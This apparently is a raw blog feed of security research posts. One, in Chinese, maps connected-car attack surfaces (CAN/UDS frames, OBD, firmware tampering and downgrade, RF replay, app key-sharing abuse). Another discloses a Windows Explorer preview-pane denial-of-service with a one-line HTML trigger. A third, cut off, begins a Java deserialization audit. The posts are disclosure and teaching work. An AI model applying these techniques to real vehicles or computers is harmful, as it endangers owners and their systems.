是发送的数据内容，分为服务ID+参数。在UDS协议中，这是诊断服务的请求和参数。例如，10表示会话控制服务，03则是参数，表示具体的会话类型，1003即切换扩展模式；<br><br>0000000000：为了使数据字段达到CAN帧的标准8字节长度，填充部分设为00<br></code></pre></div></td></tr></table></figure><h6 id="响应"><a href="#响应" class="headerlink" title="响应"></a>响应</h6><p>有请求就会有响应，CAN（UDS）的响应分为<code>“肯定”</code>和<code>“否定”</code>响应，否定响应的格式组成为<code>数据长度帧+7F+具体响应码</code>。以扩展帧<code>18DBFFF1#0210030000000000</code>为例，请求后的<code>“肯定”</code>响应为<code>0250030000000000</code>，意思是设备已切换到扩展模式；<code>“否定”</code>响应为<code>037F101100000000</code>（数据长度会随着响应内容长度变化），意思是10这个服务没有做进去；再举个例子：<code>18DBFFF1#0227010000000000</code>，请求后的<code>“肯定”</code>响应为<code>0667011122334400</code>，意思是请求的种子是<code>111223344</code>，<code>“否定”</code>响应为<code>037F2711</code>，意思是27这个服务没有做进去。下图为相关<code>“否定”</code>响应码的解释</p><p><img src="/images/113/V3-M5XJX69vUTe4CkQfnZ6RDY1Wo4Stcl5JK1GxgPvk.png" alt="image"></p><p>观察<code>“肯定”</code>的响应报文我们会发现，服务ID会比发送的多<code>40</code>，比如发送<code>27 01 </code>，响应则是<code>67 01</code> ，发送<code>1003</code>，响应则是<code>5003</code>，了解这个规则有利于查找对应的响应报文，判断设备功能和通信状态</p><h6 id="TIPS-1"><a href="#TIPS-1" class="headerlink" title="TIPS"></a>TIPS</h6><p>以扩展帧的CAN通信为例，在不知道CANID的情况下，通常可以尝试先发送<code>18DBFFF1</code>确认通信地址，比如发送<code>18DBFFF1</code>，回复的是<code>18DAF1EE</code>，其中<code>18DB</code>回复对应的标识符<code>18DA</code>，回复的<code>EE</code>是通信ID，所以后续要跟<code>EE</code>进行通信，最终通信地址就是<code>18DAEEF1</code>：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">18DAEEF1<span class="hljs-comment">#0210030000000000</span><br></code></pre></div></td></tr></table></figure><h3 id="CAN通信"><a href="#CAN通信" class="headerlink" title="CAN通信"></a>CAN通信</h3><p>在大概了解CAN总线之后我们回归问题，车内零部件之间是怎么通过CAN通信的？</p><p><img src="/images/113/0Gx9bRQO5UGdoz020F6gYnhHvFBj4hPWNl9axsW9vow.png" alt="image"></p><p>把整个架构看做是一个局域网，每个ECU当做一个节点，我们发现<code>GW（网关）</code>处于第一层。因为ECU处于不同CAN域以及协议不一致等原因，有些零部件需要通过GW来转发CAN报文。很多汽车中，通常还有一个<code>VCU（整车控制器）</code>也负责域内CAN转发。</p><p>以打开雨刮器为例：司机在方向盘或中控屏操作雨刮器开关后，首先面板会发出一段指令，这里假设是<code>18DBFFF1#0000000000000000</code>，指令会通过GW或VCU转发给雨刮器（看下方TIPS解释），雨刮器再做出肯定响应回复，然后开始执行动作；再举个打转向灯的例子，操作转向灯面板后，会通过GW或VCU发送<code>18DBFFF1#0000000000000000</code>（假设）给转向灯，转向灯回复肯定响应然后做出动作，并把状态信息通过GW或VCU转发给仪表，最终在仪表显示转向灯正在闪烁</p><h4 id="TIPS-2"><a href="#TIPS-2" class="headerlink" title="TIPS"></a>TIPS</h4><p>CAN的收发采用的是广播模式，不是单独给谁发送数据，也就是说，CAN总线上的消息是广播到所有节点的，节点会预先配置好要接收哪些ID的消息，只有当消息的ID符合节点配置的过滤器条件时，该节点才会处理这条消息。比如，假设有一个简单的CAN网络，包含三个节点<code>A、B</code>和<code>C</code>：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">节点A配置为发送ID为0x100的消息。<br>节点B配置为接收ID为0x100的消息。<br>节点C配置为接收ID为0x200的消息。<br></code></pre></div></td></tr></table></figure><p>在这种情况下：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">当节点A发送ID为0x100的消息时，总线上的所有节点（包括节点B和节点C）都会接收到这条消息。<br><br>节点B会处理这条消息，因为它配置了接收ID为0x100的消息。<br><br>节点C不会处理这条消息，因为它配置了只接收ID为0x200的消息。<br></code></pre></div></td></tr></table></figure><h4 id="优先级"><a href="#优先级" class="headerlink" title="优先级"></a>优先级</h4><p>万一冲突了怎么办呢？在CAN总线通信中，冲突（即多个节点同时尝试发送数据）是通过一种称为“非破坏性仲裁”的机制来解决的</p><h5 id="非破坏性仲裁机制"><a href="#非破坏性仲裁机制" class="headerlink" title="非破坏性仲裁机制"></a>非破坏性仲裁机制</h5><p>1、发送开始：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">当一个节点开始发送消息时，它会首先发送一个起始位（Start of Frame, SOF），然后是标识符（ID）。<br></code></pre></div></td></tr></table></figure><p>2、监听总线：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">在发送过程中，每个节点都会监听总线上的信号。如果一个节点检测到总线上的电平与其发送的电平不一致，这意味着另一个节点也在发送消息，并且该节点发送的标识符具有更高的优先级。<br></code></pre></div></td></tr></table></figure><p>3、仲裁过程：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">仲裁基于标识符的值。标识符越小，优先级越高。如果两个节点同时发送消息，它们会在发送标识符的过程中进行仲裁。标识符是逐位发送的，当某个节点检测到其发送的位与总线上的位不一致时，它会立即停止发送并进入接收模式。<br></code></pre></div></td></tr></table></figure><p>4、继续发送：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">优先级高的节点（即标识符较小的节点）会继续发送其消息。优先级低的节点会放弃发送，并等待下一个机会重新发送。<br></code></pre></div></td></tr></table></figure><p>上面整个仲裁过程是自动的，不需要人工干预，我们只要知道标识符越小，优先级越高就行</p><h6 id="TIPS-3"><a href="#TIPS-3" class="headerlink" title="TIPS"></a>TIPS</h6><p>说到这里，我们已经能发现一些问题了：节点根据优先级处理消息，那么攻击者可以通过一直高频发送高优先级的报文来占用通信通道，造成通道拥堵，最后导致业务无法正常通信、服务不可用，这类操作也俗称<code>DOS（Denial Of Service）</code>攻击</p><h3 id="外部接口"><a href="#外部接口" class="headerlink" title="外部接口"></a>外部接口</h3><p><code>OBD（On-Board Diagnostics）</code>接口，即车载自动诊断系统接口，如果把一辆车当做是一台电脑，OBD则可以看做是一个USB接口，该接口可以用来连接车辆进行内部通信。<code>乘用车（小轿车、9座以下小客车）</code>通常在主驾位方向盘下方有且只有一个OBD接口。当然，也可能还存在其他暴露的连接线可以直接连接</p><p><img src="/images/113/x0LoKH-82c7cGYeRcx5bQeJuoSCa65T5h5ni-YWKNKM.png" alt="image"></p><p><code>商用车（客车、货车）</code>则是不固定，一般位于方向盘下、副驾抽屉、副驾座椅底下等，如果是公交车，一般位于中控仪表下方。部分车可能还存在调试CAN接口，需要打开后盖查找</p><p><img src="/images/113/blS541L3vryNKjfL_eyd2MSVPj0NKFIafumXFJ-tqi8.png" alt="image"></p><h2 id="车载以太网通信"><a href="#车载以太网通信" class="headerlink" title="车载以太网通信"></a>车载以太网通信</h2><h3 id="车内"><a href="#车内" class="headerlink" title="车内"></a>车内</h3><p>车内以太网通信是一种在现代汽车中越来越受欢迎的技术，用于连接车辆内部的各种ECU和其他设备。与传统的车载网络（如CAN、LIN和MOST）相比，以太网提供了更高的带宽、更低的延迟以及更好的灵活性。车内以太网含有多种协议，下面以<code>DoIP</code>为例</p><h4 id="DoIP"><a href="#DoIP" class="headerlink" title="DoIP"></a>DoIP</h4><p><code>DoIP（Diagnostics over IP）</code>是一种在以太网上进行车辆诊断的标准协议（基于TCP/IP协议栈）。其允许通过以太网接口进行车辆诊断和软件更新，具体的通信流程如下：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">1、发现阶段：诊断设备发送广播请求，查询网络中的所有ECU。ECU响应请求，返回自己的逻辑地址和其他相关信息。<br><br>2、连接建立：诊断设备选择一个目标ECU，并与其建立TCP连接。通过TCP连接发送诊断请求和服务调用。<br><br>3、诊断通信：通过TCP连接进行诊断数据的交换，包括读取故障码、执行特定的诊断功能等。<br><br>4、断开连接：诊断完成后，关闭TCP连接。<br></code></pre></div></td></tr></table></figure><h4 id="TIPS-4"><a href="#TIPS-4" class="headerlink" title="TIPS"></a>TIPS</h4><p>常见的还有HTTP、MQTT等等。。因为懒得打字整理的原因不一一解释了，负责的场景可能不一样，但是流程大体上差不多</p><h3 id="车外"><a href="#车外" class="headerlink" title="车外"></a>车外</h3><p>与车内通信不同，车外通信有多种场景，考虑人机交互，此处分为车云通信及无线遥控</p><h4 id="车云"><a href="#车云" class="headerlink" title="车云"></a>车云</h4><p>车云常见的有<code>HTTP、MQTT、FTP</code>协议，主要负责OTA升级、事件上报、远程控制等与云端交互的模块。涉及的场景一般在<code>车机（也称IVI，In-Vehicle Infotainment车载信息娱乐系统）</code>、APP</p><h5 id="TIPS-5"><a href="#TIPS-5" class="headerlink" title="TIPS"></a>TIPS</h5><p>车机一般不能直接上网（除了连接热点），通常依赖于<code>TBOX（Telematics Box车载远程通信设备）</code>的4G/5G模块。平时APP控制车辆、OTA升级都是通过TBOX来接收和处理指令的</p><h2 id="无线射频"><a href="#无线射频" class="headerlink" title="无线射频"></a>无线射频</h2><p>无线常见的技术有<code>RF</code>（传统的遥控钥匙（Remote Key Fob），用户按下钥匙上的按钮来解锁或锁定车辆）、<code>NFC</code>（Near Field Communication，如特斯拉卡片钥匙）、<code>蓝牙</code>（车机连接、无钥匙解锁车辆）等</p><h3 id="TIPS-6"><a href="#TIPS-6" class="headerlink" title="TIPS"></a>TIPS</h3><p>之前说的车内通信，除了CAN、LIN之外，一些零部件间也会用到无线技术，如<code>TPMS胎压监测（Tire Pressure Monitoring System）</code>，大概流程就是类似每个轮胎内部或外部安装一个传感器，传感器测量轮胎的压力和温度，然后通过无线信号将这些数据发送到车辆的接收器</p><h1 id="车的信息收集"><a href="#车的信息收集" class="headerlink" title="车的信息收集"></a>车的信息收集</h1><p>了解了车的内外通信后，我们就可以把资产划分为几部分来做信息收集，按难度等级来做进一步测试：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">1、需要接触车辆的<br>2、不需要接触车辆的<br></code></pre></div></td></tr></table></figure><h2 id="需要接触车辆"><a href="#需要接触车辆" class="headerlink" title="需要接触车辆"></a>需要接触车辆</h2><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">OBD接口：CAN、OBD转以太等等；<br>IVI：热点、蓝牙、系统服务等等；<br>USB接口：ADB等等；<br>零部件（需要拆卸车辆）：芯片、调试接口等等；<br>其他<br></code></pre></div></td></tr></table></figure><h2 id="不需要接触车辆："><a href="#不需要接触车辆：" class="headerlink" title="不需要接触车辆："></a>不需要接触车辆：</h2><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">云端：OTA平台、故障平台等等；<br>车控：APP、无线遥控等等；<br>其他<br></code></pre></div></td></tr></table></figure><p>按照两种类型的资产划分，继续细分可以找出如下图所示的对应功能</p><p><img src="/images/113/ox457pUsffFmqFHfF7CKTbjjd_XCJM-1wQ1HGR4ym-E.png" alt="image"></p><p>按照功能划分，可以梳理出如下图所示不同层面的协议栈</p><p><img src="/images/113/xWQjrN0R0HYGx5oTHQymo5IFtw2vkFyJDgIu7SXCREg.png" alt="image"></p><h1 id="车的攻击面"><a href="#车的攻击面" class="headerlink" title="车的攻击面"></a>车的攻击面</h1><p>按照我们的测试目的，下一步就可以选出需要测试的资产。比如目的是为了拿到车辆权限，则可以划分出下图所示红框标出的几个不用拆车且容易攻击的功能资产</p><p><img src="/images/113/Ixigtd_ik24MVhH_G_OCYT9QPDuigHdbG6hpErCanbo.png" alt="image"></p><h2 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h2><p>WIFI：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">通过扫描WIFI IP来探测系统开了什么服务，比如SSH、Telnet、FTP或ADB等调试端口，通过这些暴露面做进一步攻击，如可以尝试未授权访问、口令爆破等手段获取Shell权限。<br></code></pre></div></td></tr></table></figure><p>USB：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">有些USB接口只允许充电，不识别U盘，但有的USB接口不但识别U盘，还会自动执行U盘内的可执行脚本、执行特定名称或后缀的文件，所以可以对此行为发起文件名或后缀Fuzz尝试。除此之外，有的接口还可以直接连接到车内系统<br></code></pre></div></td></tr></table></figure><p>APP：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">许多车控APP里都有通过VIN码、手机号绑定或分享钥匙的功能，可以尝试通过APP的文章评论或其他页面获取个人信息，然后利用越权来分享钥匙，或绑定VIN码，从而控制车辆。当然，通过其他漏洞拿下服务器再控车也没毛病，这里只是大概说一下<br></code></pre></div></td></tr></table></figure><p>IVI：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">隐藏按钮 - 车机一般会有几个隐藏按钮，通过连续点击特定位置就可以打开有关调试工具或工程模式；<br>拨号暗码 - 除此之外，还可以通过拨号暗码（如*<span class="hljs-comment">#xxxx#）来打开某些调试工具或工程模式；联网功能 - WIFI热点功能可参考上述说过的尝试。如果可以上传工具，可以上传如Tcpdump来抓取车机流量，有时候会存在很多未授权的链接可以利用；</span><br>APP - 车机里的APP有许多是车企自研的，可以脱下来反编译查看有无可利用的点<br></code></pre></div></td></tr></table></figure><p>OTA：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">固件篡改 - 可以在闲鱼或其他渠道获取特定车辆的固件然后进行篡改，把篡改的固件重新刷入车辆<br>固件降级 - 此方法适用于固件无法篡改时。类似WEB里的供应链攻击，在其他渠道获取固件后做分析，查看有可无利用的缺陷，有时候旧版本存在缺陷但是新版本没有，可以尝试刷入旧版本软件来利用<br></code></pre></div></td></tr></table></figure><h3 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h3><p>还有一些要有复杂前提条件才能做测试的，比如需要拆卸车辆或需要得到某个东西的点：</p><p><strong>调试接口</strong> - 黑盒测试不会有引脚定义，可以通过查询芯片上的丝印（一般在<code>datasheet</code>文档）来测量引脚，找到调试接口后，如果是JTAG，则可以连接读取芯片数据，UART则可以登录内部系统（如果遇到需要密码，可以尝试修改<code>bootargs</code>来绕过）</p><p><img src="/images/113/UIOgqJAkwVWmSep9hcaFAdmiypyQeQQORCrkxFZNzQo.png" alt="image"></p><p><strong>固件提取</strong> - 没有调试接口时，可以尝试把芯片吹下来使用编程器提取固件；</p><p><strong>射频钥匙</strong> - 拿到钥匙后可以尝试使用HackRF、bladeRF等来录制信号然后重放；</p><p><strong>CAN</strong> - OBD接口（可能会存在OBD转以太）接入后可以测试UDS和重放等问题；</p><p><strong>蓝牙</strong> - 利用一些开发版实现中继（如BLE Relay）和重放</p><h3 id="横向"><a href="#横向" class="headerlink" title="横向"></a>横向</h3><p>前面说到IVI联网依赖于TBOX，所以一辆车里可能会存在多个网段，在拿到shell权限后可以尝试进行横向攻击（此时跟常规内网渗透无异，还需要考虑提权问题）</p><h3 id="Tips"><a href="#Tips" class="headerlink" title="Tips"></a>Tips</h3><p>有时候电脑连接车机热点做横向渗透时会遇到网段隔离，可以利用反向思路通过让车机连接手机的热点来绕过隔离策略</p><h2 id="案例"><a href="#案例" class="headerlink" title="案例"></a>案例</h2><p>因为涉及保密，有些现实画面就不放出来了</p><h3 id="案例一"><a href="#案例一" class="headerlink" title="案例一"></a>案例一</h3><p>拨号打开ADB，连接车机脱APK，在其中的一个APK中发现OBS硬编码，直接接管OBS，可以用来下发更新</p><p><img src="/images/113/zbO7UVnyUJ4nH2dENu_XygM6Bnk5WbKXU6LCuv2JkIY.png" alt="image"></p><p>翻看系统日志，找到升级日志，从日志中找到OTA下载地址</p><p><img src="/images/113/j-pPJtxCCfC4NWVUZbmLlAv9aLDyUQ89H5UfhDi3iow.png" alt="image"></p><p>固件包解包重挂载后可以获取车机文件系统</p><p><img src="/images/113/RiG01KCCg8E9vBUma8A5KAHaC-Bi3ciItSN2MaNVC3Q.png" alt="image"></p><h3 id="案例二"><a href="#案例二" class="headerlink" title="案例二"></a>案例二</h3><p>逆向分析车控APK Frida hook 实现车辆功能控制</p><p><img src="/images/113/tE7Y7oKcRUb4W3XtS70xDaZqkl5NdYLSquVoyBx2gfs.png" alt="image"></p><p><img src="/images/113/Ukb9zopQqojnJQoD-eBzqC_k51tEPGuZ-bLlcWOw-wY.png" alt="image"></p><h3 id="案例三"><a href="#案例三" class="headerlink" title="案例三"></a>案例三</h3><p>APK硬编码MQTT，连接可以监听到OTA升级包和所有车辆位置信息</p><p><img src="/images/113/UMo-rOoW1wIyyWwIKnt4r3RbO7Gli6wVS6xsQ2ElCs0.png" alt="image"></p><h3 id="案例四"><a href="#案例四" class="headerlink" title="案例四"></a>案例四</h3><p>因为保密关系，很多画面都是看到车或者零部件主板的，所以还有很多很好玩的东西（怎么解锁开车门控车什么的）就不一一分享了</p><h1 id="常用工具"><a href="#常用工具" class="headerlink" title="常用工具"></a>常用工具</h1><p>列举车辆测试常用工具集合</p><table><thead><tr><th>工具名称</th><th>是否开源</th><th>用途</th></tr></thead><tbody><tr><td>IDA pro</td><td>否</td><td>二进制逆向分析</td></tr><tr><td>Wireshark</td><td>是</td><td>流量抓包</td></tr><tr><td>jadx-GUI</td><td>是</td><td>安卓逆向分析</td></tr><tr><td>Python</td><td>是</td><td>系统环境</td></tr><tr><td>Java</td><td>是</td><td>系统环境</td></tr><tr><td>GDB</td><td>是</td><td>二进制调试</td></tr><tr><td>GDBServer</td><td>是</td><td>二进制远程调试服务端</td></tr><tr><td>URH</td><td>是</td><td>射频</td></tr><tr><td>Tcpdump</td><td>是</td><td>流量抓包</td></tr><tr><td>Burpsuite</td><td>否</td><td>流量抓包</td></tr><tr><td>Nmap</td><td>是</td><td>端口扫描</td></tr><tr><td>nc</td><td>是</td><td>端口监听</td></tr><tr><td>adb</td><td>是</td><td>安卓debug</td></tr><tr><td>can-utils</td><td>是</td><td>Can收发库</td></tr><tr><td>Pcan</td><td>否</td><td>硬件工具-CAN收发器，可搭配pcanview、kali等</td></tr><tr><td>USBCAN</td><td>否</td><td>硬件工具-CAN收发器，可以搭配ZCANPro</td></tr><tr><td>CANoe</td><td>否</td><td>硬件工具-CAN收发器</td></tr><tr><td>MQTTX</td><td>是</td><td>MQTT客户端</td></tr><tr><td>Proxmark3</td><td>是</td><td>硬件工具-射频工具</td></tr><tr><td>ZCANPro</td><td>否</td><td>Windows CAN工具</td></tr><tr><td>Frida</td><td>是</td><td>hook</td></tr><tr><td>binwalk</td><td>是</td><td>固件分析</td></tr><tr><td>frp-client-server</td><td>是</td><td>内网穿透</td></tr><tr><td>Logic</td><td>是</td><td>协议分析</td></tr><tr><td>Firmadyne</td><td>是</td><td>固件分析</td></tr><tr><td>Firmware Analysis Toolkit</td><td>是</td><td>固件分析</td></tr><tr><td>Firmware Analysis Toolkit (FAT)</td><td>是</td><td>固件分析</td></tr><tr><td>Firmware-Mod-Kit (FMK)</td><td>是</td><td>固件分析</td></tr><tr><td>Jflash</td><td>是</td><td>jlink调试</td></tr></tbody></table><p>这里只是列举了部分，实际还有很多，感兴趣的可以看下这个项目，刚转车联网安全的时候弄的基于ubuntu的集成系统，各种环境工具都在里面了，开箱即用：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">https://github.com/TianWen-Lab/TranSec<br></code></pre></div></td></tr></table></figure><h1 id="Tips-1"><a href="#Tips-1" class="headerlink" title="Tips"></a>Tips</h1><p>转车联网安全干到现在已经有1年了，给人感觉最主要的还是需要有通信协议和二进制知识。有的名词解释因为人懒用的GPT生成的，注意辨别。车内通信除了CAN还有很多协议就不全写了，感兴趣的可以根据提到的名词去搜。文章的图不全是自己的，有的是网上+项目报告或者同事的</p><h1 id="最后"><a href="#最后" class="headerlink" title="最后"></a>最后</h1><p>也是一时兴起，写到后面感觉没啥兴趣写了，也有自己菜的一部分原因，不知道写啥了，等后面越来越牛逼了再补充吧。感谢天问实验室所有的同事给予的帮助。文中有不对的地方希望您可以想方设法联系到我然后帮忙指正。别骂，不好的评论我会删</p>]]></content>
    
    
    <categories>
      
      <category>车联网</category>
      
    </categories>
    
    
    <tags>
      
      <tag>车联网</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>Windows file-explorer#preview-pane-previewers DOS</title>
    <link href="/2024/05/27/110/"/>
    <url>/2024/05/27/110/</url>
    
    <content type="html"><![CDATA[<h1 id="Start"><a href="#Start" class="headerlink" title="Start"></a>Start</h1><p>One day. when I was using file-explorer#preview-pane-previewers’s feature.I found it would parse some HTML code. There fore, I discovered a denia of service vulnerability, after the vulnerability is triggered,all text editors (including any IDE code editors) will not function properly. Here is my environment and verification steps.</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">System environment: Windows 11 23H2(Professional/Home Edition)<br>Operating system version:  22631.3593<br></code></pre></div></td></tr></table></figure><p>Prepare the POC file in advance: create a new HTML file, enter payload in the file: </p><figure class="highlight javascript"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs javascript">&lt;LINK REL=<span class="hljs-string">&quot;stylesheet&quot;</span> HREF=<span class="hljs-string">&quot;javascript:&quot;</span>&gt;<br></code></pre></div></td></tr></table></figure><p>and in the Explorer,enable the preview. Then select the POC file，the preview pane will parse the HTML, at this point, the resource manager will experience a 1-2 second stuck. </p><p>Finally, we use Nodepad (or other editors) to open the POC file and input any character at will,for example: <code>aaa</code>, after entering any character, the file content is as follows:</p><figure class="highlight javascript"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs javascript">&lt;LINK REL=<span class="hljs-string">&quot;stylesheet&quot;</span> HREF=<span class="hljs-string">&quot;javascript:&quot;</span>&gt;aaa<br></code></pre></div></td></tr></table></figure><p>The time to trigger the vulnerability is coming! At this point, when we save the file, we will find that the text editor crashes, at this time, no text editor can be used normally, Unless the process ends in Task Manager, the lag will last for 10 minutes. After the editor returns to normal, you will find that the newly written content has not been saved.</p><p>By the way, if the initial content is <code>&lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;javascript:&quot;&gt;aaa</code>, theoretically the <code>aaa</code> character will appear in the preview, but the <code>aaa</code> character will not be displayed in the preview, which is not in line with science. After experiments, I found that it seems to be a denial of service caused by improper handling of the <code>HREF</code> attribute of <code>LINK</code> tag,the key trigger character is <code>javascript:</code>.</p><p><strong>In addition to all editors (including IDE code editors, etc.) from running properly,after the vulnerability is triggered, renaming the POC file in the folder will also cause the resource manager to stop running, and cannot delete POC files.</strong></p><h1 id="Finally"><a href="#Finally" class="headerlink" title="Finally"></a>Finally</h1><p>Actually, this issue was first discovered on ‘everything’, and later it was discovered that ‘everything’ was using Windows Explorer.</p><p><strong>This issue may will create other vulnerabilities as well.</strong></p><h1 id="Timeline"><a href="#Timeline" class="headerlink" title="Timeline"></a>Timeline</h1><ul><li>May 27, 2024: Report the issue to MSRC.</li><li>May 29, 2024: MSRC begins to deal with the issue.</li><li>June 1, 2024: MSRC assesses the risk level as low risk and shares this report with the team responsible for maintaining the product or service.</li></ul><h1 id="VIDEO"><a href="#VIDEO" class="headerlink" title="VIDEO"></a>VIDEO</h1><iframe      width="100%"      height="450"      src="https://www.youtube.com/embed/Vc4c6QCrZa8"      scrolling="no"      border="0"      frameborder="no"      framespacing="0"      allowfullscreen="true"> </iframe> ]]></content>
    
    
    <categories>
      
      <category>漏洞挖掘</category>
      
    </categories>
    
    
    <tags>
      
      <tag>漏洞挖掘</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>A deserialization</title>
    <link href="/2024/01/24/111/"/>
    <url>/2024/01/24/111/</url>
    
    <content type="html"><![CDATA[<h1 id="Firstly"><a href="#Firstly" class="headerlink" title="Firstly"></a>Firstly</h1><p><strong>I would like to declare that this article can only serve as a learning approach for deserialization auditing and corresponding script writing, as it is actually difficult to exploit this vulnerability</strong></p><h2 id="Analysis"><a href="#Analysis" class="headerlink" title="Analysis"></a>Analysis</h2><p>In the code (src/main/java/org/openjdk/jmh/runner/link/BinaryLinkServer.java L270), I found that ‘ois’ belongs to the handler method, which is a constructor, in here, <code>is</code> is initialized to <code>socket.getInputStream()</code>: </p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-title">Handler</span><span class="hljs-params">(Socket socket)</span> <span class="hljs-keyword">throws</span> IOException </span>&#123;<br>    <span class="hljs-keyword">this</span>.socket = socket;<br>    <span class="hljs-keyword">this</span>.is = socket.getInputStream(); <span class="hljs-comment">//here</span><br>    <span class="hljs-keyword">this</span>.os = socket.getOutputStream();<br><br>    <span class="hljs-comment">// eager OOS initialization, let the other party read the stream header</span><br>    oos = <span class="hljs-keyword">new</span> ObjectOutputStream(<span class="hljs-keyword">new</span> BufferedOutputStream(os, BUFFER_SIZE));<br>    oos.flush();<br>&#125;<br></code></pre></div></td></tr></table></figure><p>then the ‘socket’ data stream is encapsulated into ‘ois’:<br>L279</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title">run</span><span class="hljs-params">()</span> </span>&#123;<br>    <span class="hljs-keyword">try</span> &#123;<br>        ois = <span class="hljs-keyword">new</span> ObjectInputStream(<span class="hljs-keyword">new</span> BufferedInputStream(is, BUFFER_SIZE));<br></code></pre></div></td></tr></table></figure><p>subsequently, the data stream was deserialized using ‘readObject’:<br>L287</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">Object obj;<br><span class="hljs-keyword">while</span> ((obj = ois.readObject()) != <span class="hljs-keyword">null</span>) &#123;<br></code></pre></div></td></tr></table></figure><p>It seems that this is a classic deserialization vulnerability,next, we need to find the entrance to make use of it.</p><p>Follow up and see that ‘Handler’ is called in ‘Acceptor’<br>L216</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></div></td><td class="code"><div class="hljs 